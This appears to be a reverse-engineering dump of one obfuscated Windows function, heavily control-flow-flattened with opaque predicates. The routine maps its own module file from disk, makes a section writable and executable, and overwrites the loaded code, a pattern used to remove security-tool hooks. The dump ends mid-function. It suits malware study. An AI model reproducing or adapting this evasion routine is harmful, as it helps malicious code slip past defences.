Function at 0x40bcc0
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x1b0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1b4], eax
mov eax, dword [0x43d080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1b0], 0x7c563abd
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x1b8], eax
sub eax, 0x8be5ae52
je 0x40cc05
jmp 0x40bd04
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8e0762cb
je 0x40d4d3
jmp 0x40bd1a
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8f356e29
je 0x40d335
jmp 0x40bd30
mov eax, dword [ebp - 0x1b8]
sub eax, 0x901e603f
je 0x40c4ef
jmp 0x40bd46
mov eax, dword [ebp - 0x1b8]
sub eax, 0x9a9d41d1
je 0x40cf4b
jmp 0x40bd5c
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa091a433
je 0x40d1ad
jmp 0x40bd72
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa5392b8b
je 0x40cc7b
jmp 0x40bd88
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb0f945ba
je 0x40cd15
jmp 0x40bd9e
mov eax, dword [ebp - 0x1b8]
sub eax, 0xc5b1fd20
je 0x40c891
jmp 0x40bdb4
mov eax, dword [ebp - 0x1b8]
sub eax, 0xc5e971e5
je 0x40d446
jmp 0x40bdca
mov eax, dword [ebp - 0x1b8]
sub eax, 0xd1853188
je 0x40ca5f
jmp 0x40bde0
mov eax, dword [ebp - 0x1b8]
sub eax, 0xd3bcf185
je 0x40c81b
jmp 0x40bdf6
mov eax, dword [ebp - 0x1b8]
sub eax, 0xd6209331
je 0x40d4c4
jmp 0x40be0c
mov eax, dword [ebp - 0x1b8]
sub eax, 0xdc12d264
je 0x40d403
jmp 0x40be22
mov eax, dword [ebp - 0x1b8]
sub eax, 0xe0d037d7
je 0x40d395
jmp 0x40be38
mov eax, dword [ebp - 0x1b8]
sub eax, 0xe1370660
je 0x40c7eb
jmp 0x40be4e
mov eax, dword [ebp - 0x1b8]
sub eax, 0xe2a4e6c4
je 0x40c70c
jmp 0x40be64
mov eax, dword [ebp - 0x1b8]
sub eax, 0xed4bc717
je 0x40c80c
jmp 0x40be7a
mov eax, dword [ebp - 0x1b8]
sub eax, 0xede1563e
je 0x40cfea
jmp 0x40be90
mov eax, dword [ebp - 0x1b8]
sub eax, 0xee2c405c
je 0x40c479
jmp 0x40bea6
mov eax, dword [ebp - 0x1b8]
sub eax, 0xee81df9a
je 0x40d30b
jmp 0x40bebc
mov eax, dword [ebp - 0x1b8]
sub eax, 0xf08c7ddc
je 0x40cd87
jmp 0x40bed2
mov eax, dword [ebp - 0x1b8]
sub eax, 0xf0d546ae
je 0x40c922
jmp 0x40bee8
mov eax, dword [ebp - 0x1b8]
sub eax, 0xf2be46de
je 0x40c67b
jmp 0x40befe
mov eax, dword [ebp - 0x1b8]
sub eax, 0xf3d61f5d
je 0x40d3d0
jmp 0x40bf14
mov eax, dword [ebp - 0x1b8]
sub eax, 0xf4cef284
je 0x40caf9
jmp 0x40bf2a
mov eax, dword [ebp - 0x1b8]
sub eax, 0xf632aca4
je 0x40cd06
jmp 0x40bf40
mov eax, dword [ebp - 0x1b8]
sub eax, 0xfac98896
je 0x40d2d4
jmp 0x40bf56
mov eax, dword [ebp - 0x1b8]
sub eax, 0xfdd6ada8
je 0x40c9b9
jmp 0x40bf6c
mov eax, dword [ebp - 0x1b8]
sub eax, 0xfeb24fd7
je 0x40c9e9
jmp 0x40bf82
mov eax, dword [ebp - 0x1b8]
sub eax, 0xffabd052
je 0x40ce15
jmp 0x40bf98
mov eax, dword [ebp - 0x1b8]
sub eax, 0x802f41d
je 0x40c62a
jmp 0x40bfae
mov eax, dword [ebp - 0x1b8]
sub eax, 0xbf679e0
je 0x40cb4a
jmp 0x40bfc4
mov eax, dword [ebp - 0x1b8]
sub eax, 0xd0ab15c
je 0x40d4a3
jmp 0x40bfda
mov eax, dword [ebp - 0x1b8]
sub eax, 0x11233cc2
je 0x40c458
jmp 0x40bff0
mov eax, dword [ebp - 0x1b8]
sub eax, 0x1492a5a1
je 0x40c99e
jmp 0x40c006
mov eax, dword [ebp - 0x1b8]
sub eax, 0x1765e0cf
je 0x40cfdb
jmp 0x40c01c
mov eax, dword [ebp - 0x1b8]
sub eax, 0x1cd072af
je 0x40d3a6
jmp 0x40c032
mov eax, dword [ebp - 0x1b8]
sub eax, 0x20552f68
je 0x40c75d
jmp 0x40c048
mov eax, dword [ebp - 0x1b8]
sub eax, 0x20716b18
je 0x40c3c4
jmp 0x40c05e
mov eax, dword [ebp - 0x1b8]
sub eax, 0x2145df64
je 0x40d488
jmp 0x40c074
mov eax, dword [ebp - 0x1b8]
sub eax, 0x252e1eb4
je 0x40d0e7
jmp 0x40c08a
mov eax, dword [ebp - 0x1b8]
sub eax, 0x26622f8a
je 0x40d3df
jmp 0x40c0a0
mov eax, dword [ebp - 0x1b8]
sub eax, 0x2990b20c
je 0x40ce47
jmp 0x40c0b6
mov eax, dword [ebp - 0x1b8]
sub eax, 0x2a37db94
je 0x40d374
jmp 0x40c0cc
mov eax, dword [ebp - 0x1b8]
sub eax, 0x2abd7f4b
je 0x40ced5
jmp 0x40c0e2
mov eax, dword [ebp - 0x1b8]
sub eax, 0x2adea307
je 0x40c373
jmp 0x40c0f8
mov eax, dword [ebp - 0x1b8]
sub eax, 0x2fef6847
je 0x40d24e
jmp 0x40c10e
mov eax, dword [ebp - 0x1b8]
sub eax, 0x33a066c9
je 0x40ce9c
jmp 0x40c124
mov eax, dword [ebp - 0x1b8]
sub eax, 0x33a90d76
je 0x40d3c1
jmp 0x40c13a
mov eax, dword [ebp - 0x1b8]
sub eax, 0x3806dba3
je 0x40d3f4
jmp 0x40c150
mov eax, dword [ebp - 0x1b8]
sub eax, 0x3897e737
je 0x40c6fd
jmp 0x40c166
mov eax, dword [ebp - 0x1b8]
sub eax, 0x3c963866
je 0x40c565
jmp 0x40c17c
mov eax, dword [ebp - 0x1b8]
sub eax, 0x420c2b60
je 0x40c913
jmp 0x40c192
mov eax, dword [ebp - 0x1b8]
sub eax, 0x470a418e
je 0x40cd36
jmp 0x40c1a8
mov eax, dword [ebp - 0x1b8]
sub eax, 0x4a9f5256
je 0x40c9da
jmp 0x40c1be
mov eax, dword [ebp - 0x1b8]
sub eax, 0x4b880651
je 0x40d46d
jmp 0x40c1d4
mov eax, dword [ebp - 0x1b8]
sub eax, 0x4f200d15
je 0x40caea
jmp 0x40c1ea
mov eax, dword [ebp - 0x1b8]
sub eax, 0x4f20d2ce
je 0x40cbc6
jmp 0x40c200
mov eax, dword [ebp - 0x1b8]
sub eax, 0x4f7261d3
je 0x40cdf4
jmp 0x40c216
mov eax, dword [ebp - 0x1b8]
sub eax, 0x5a9f6483
je 0x40d2e3
jmp 0x40c22c
mov eax, dword [ebp - 0x1b8]
sub eax, 0x64fb22ce
je 0x40c574
jmp 0x40c242
mov eax, dword [ebp - 0x1b8]
sub eax, 0x675b5322
je 0x40d1f6
jmp 0x40c258
mov eax, dword [ebp - 0x1b8]
sub eax, 0x742256e5
je 0x40d31a
jmp 0x40c26e
mov eax, dword [ebp - 0x1b8]
sub eax, 0x7582b3f3
je 0x40c973
mov eax, dword [0x43e544]
mov ecx, dword [0x43e540]
mov edx, eax
add edx, 0x11b5eee7
sub edx, 1
sub edx, 0x11b5eee7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1cd072af
mov ecx, 0x20716b18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
setne al
and al, 1
mov byte [ebp - 0x171], al
mov ecx, dword [0x43e544]
mov eax, dword [0x43e540]
mov edx, ecx
add edx, 0x82d2b333
sub edx, 1
sub edx, 0x82d2b333
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1cd072af
mov ecx, 0x11233cc2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov dl, byte [ebp - 0x171]
mov eax, 0xee2c405c
mov ecx, 0x64fb22ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov ecx, dword [0x43e544]
mov eax, dword [0x43e540]
mov edx, ecx
add edx, 0x1b429baa
sub edx, 1
sub edx, 0x1b429baa
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x33a90d76
mov ecx, 0x901e603f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov ecx, dword [0x43e544]
mov eax, dword [0x43e540]
mov edx, ecx
add edx, 0x5d4bfe53
sub edx, 1
sub edx, 0x5d4bfe53
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x33a90d76
mov ecx, 0x3c963866
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov dword [ebp - 0x1b0], 0xe0d037d7
jmp 0x40d4e3
mov ecx, dword [ebp - 0x198]
mov edx, dword [ebp - 0x194]
lea eax, [ebp - 0x11c]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x19c], eax
lea eax, [ebp - 0x110]
mov ecx, dword [ebp - 0x198]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x110]
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x1b0], 0x802f41d
jmp 0x40d4e3
mov eax, dword [0x43e544]
mov ecx, dword [0x43e540]
mov edx, eax
add edx, 0x62623f65
sub edx, 1
sub edx, 0x62623f65
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf3d61f5d
mov ecx, 0xf2be46de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x170], eax
mov ecx, dword [0x43e544]
mov eax, dword [0x43e540]
mov edx, ecx
sub edx, 0xa19963d0
sub edx, 1
add edx, 0xa19963d0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf3d61f5d
mov ecx, 0x3897e737
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov dword [ebp - 0x1b0], 0xe2a4e6c4
jmp 0x40d4e3
mov eax, dword [0x43e544]
mov ecx, dword [0x43e540]
mov edx, eax
sub edx, 0xb51cdb5b
sub edx, 1
add edx, 0xb51cdb5b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x26622f8a
mov ecx, 0x20552f68
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov eax, dword [ebp - 0x170]
mov ecx, 0xffffffff
cmp eax, ecx
sete al
and al, 1
mov byte [ebp - 0x169], al
mov ecx, dword [0x43e544]
mov eax, dword [0x43e540]
mov edx, ecx
sub edx, 0xadc2d22d
sub edx, 1
add edx, 0xadc2d22d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x26622f8a
mov ecx, 0xe1370660
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov dl, byte [ebp - 0x169]
mov eax, 0xd3bcf185
mov ecx, 0xed4bc717
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov dword [ebp - 0x1b0], 0xe0d037d7
jmp 0x40d4e3
mov ecx, dword [0x43e544]
mov eax, dword [0x43e540]
mov edx, ecx
sub edx, 0x9dd95ffb
sub edx, 1
add edx, 0x9dd95ffb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3806dba3
mov ecx, 0xc5b1fd20
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x168], eax
mov ecx, dword [0x43e544]
mov eax, dword [0x43e540]
mov edx, ecx
add edx, 0x2343ca20
sub edx, 1
sub edx, 0x2343ca20
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3806dba3
mov ecx, 0x420c2b60
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov dword [ebp - 0x1b0], 0xf0d546ae
jmp 0x40d4e3
mov eax, dword [ebp - 0x168]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x1b0], 0x7582b3f3
jmp 0x40d4e3
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x1b0], 0xfdd6ada8
jmp 0x40d4e3
mov eax, dword [ebp - 0x160]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1b0], 0x4a9f5256
jmp 0x40d4e3
mov dword [ebp - 0x1b0], 0xe0d037d7
jmp 0x40d4e3
mov ecx, dword [0x43e544]
mov eax, dword [0x43e540]
mov edx, ecx
add edx, 0xe620d114
sub edx, 1
sub edx, 0xe620d114
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdc12d264
mov ecx, 0xd1853188
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov eax, dword [ebp - 0x1a4]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x15c], eax
mov eax, dword [0x43e544]
mov ecx, dword [0x43e540]
mov edx, eax
add edx, 0xce455571
sub edx, 1
sub edx, 0xce455571
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdc12d264
mov ecx, 0x4f200d15
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov dword [ebp - 0x1b0], 0xf4cef284
jmp 0x40d4e3
mov eax, dword [0x43e544]
mov ecx, dword [0x43e540]
mov edx, eax
add edx, 0x2fbd6e01
sub edx, 1
sub edx, 0x2fbd6e01
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc5e971e5
mov ecx, 0xbf679e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x158], eax
mov eax, dword [0x43e544]
mov ecx, dword [0x43e540]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc5e971e5
mov ecx, 0x77e01bbb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov ecx, dword [ebp - 0x158]
mov eax, dword [ebp - 0x1ac]
mov edx, dword [eax + 0x3c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x18c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x188]
mov word [eax], 0
mov dword [ebp - 0x1b0], 0x8be5ae52
jmp 0x40d4e3
mov ecx, dword [0x43e544]
mov eax, dword [0x43e540]
mov edx, ecx
sub edx, 0x7367789a
sub edx, 1
add edx, 0x7367789a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4b880651
mov ecx, 0xa5392b8b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov eax, dword [ebp - 0x188]
movzx eax, word [eax]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax]
mov dword [ebp - 0x150], eax
mov ecx, dword [0x43e544]
mov eax, dword [0x43e540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4b880651
mov ecx, 0xf632aca4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov dword [ebp - 0x1b0], 0xb0f945ba
jmp 0x40d4e3
mov eax, dword [ebp - 0x150]
add eax, 4
add eax, 2
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x1b0], 0x470a418e
jmp 0x40d4e3
mov eax, dword [0x43e544]
mov ecx, dword [0x43e540]
mov edx, eax
sub edx, 0x12d5c18a
sub edx, 1
add edx, 0x12d5c18a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2145df64
mov ecx, 0xf08c7ddc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov eax, dword [ebp - 0x14c]
movzx ecx, word [eax]
mov eax, dword [ebp - 0x154]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x145], al
mov eax, dword [0x43e544]
mov ecx, dword [0x43e540]
mov edx, eax
add edx, 0xd9b6982b
sub edx, 1
sub edx, 0xd9b6982b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2145df64
mov ecx, 0x4f7261d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov dl, byte [ebp - 0x145]
mov eax, 0x742256e5
mov ecx, 0xffabd052
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 0x18
sub eax, ecx
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x1b0], 0x2990b20c
jmp 0x40d4e3
mov eax, dword [ebp - 0x140]
movzx edx, word [eax + 0x14]
mov ecx, dword [ebp - 0x144]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x188]
movzx eax, word [eax]
imul eax, eax, 0x28
sub ecx, 0x6a209d53
add ecx, eax
add ecx, 0x6a209d53
mov eax, dword [ebp - 0x184]
mov dword [eax], ecx
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x1b0], 0x33a066c9
jmp 0x40d4e3
mov ecx, dword [ebp - 0x13c]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x435e4e
call fcn.0042a390
add esp, 8
mov edx, eax
mov eax, 0x2abd7f4b
mov ecx, 0x75ff81d0
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov ecx, dword [0x43e544]
mov eax, dword [0x43e540]
mov edx, ecx
sub edx, 0xb4efa265
sub edx, 1
add edx, 0xb4efa265
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd0ab15c
mov ecx, 0x9a9d41d1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov eax, dword [ebp - 0x180]
mov dword [eax], 0
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov dword [ebp - 0x138], eax
mov ecx, dword [0x43e544]
mov eax, dword [0x43e540]
mov edx, ecx
add edx, 0xda134c7d
sub edx, 1
sub edx, 0xda134c7d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd0ab15c
mov ecx, 0x1765e0cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov dword [ebp - 0x1b0], 0xede1563e
jmp 0x40d4e3
mov eax, dword [ebp - 0x138]
mov ecx, dword [eax + 8]
mov edx, dword [ebp - 0x19c]
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, edx
xor edx, edx
sub edx, esi
add eax, edx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x180]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x17c]
mov byte [eax], cl
mov edx, dword [ebp - 0x19c]
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
add edx, 0xfd419374
add edx, eax
sub edx, 0xfd419374
mov ecx, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, esi
sub ecx, eax
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov eax, dword [eax + 8]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00426bf0
add esp, 0xc
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0x184]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x1b0], 0x252e1eb4
jmp 0x40d4e3
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x134]
mov edx, dword [ebp - 0x130]
mov esi, dword [ebp - 0x12c]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x17c]
mov byte [eax], cl
mov dword [ebp - 0x1b0], 0x75ff81d0
jmp 0x40d4e3
mov eax, dword [0x43e544]
mov ecx, dword [0x43e540]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd6209331
mov ecx, 0x675b5322
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov dword [ebp - 0x1b0], 0x75e87da9
jmp 0x40d4e3
mov eax, dword [ebp - 0x188]
mov ax, word [eax]
mov word [ebp - 0x126], ax
mov ecx, dword [0x43e544]
mov eax, dword [0x43e540]
mov edx, ecx
add edx, 0x33919c88
sub edx, 1
sub edx, 0x33919c88
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8e0762cb
mov ecx, 0xfac98896
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x40d4e3
mov dword [ebp - 0x1b0], 0x5a9f6483
jmp 0x40d4e3
mov cx, word [ebp - 0x126]
xor eax, eax
sub ax, 1
sub cx, ax
mov eax, dword [ebp - 0x188]
mov word [eax], cx
mov dword [ebp - 0x1b0], 0xee81df9a
jmp 0x40d4e3
mov dword [ebp - 0x1b0], 0x8be5ae52
jmp 0x40d4e3
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x1b0], 0x8f356e29
jmp 0x40d4e3
mov eax, dword [ebp - 0x124]
sub esp, 4
mov dword [esp], eax
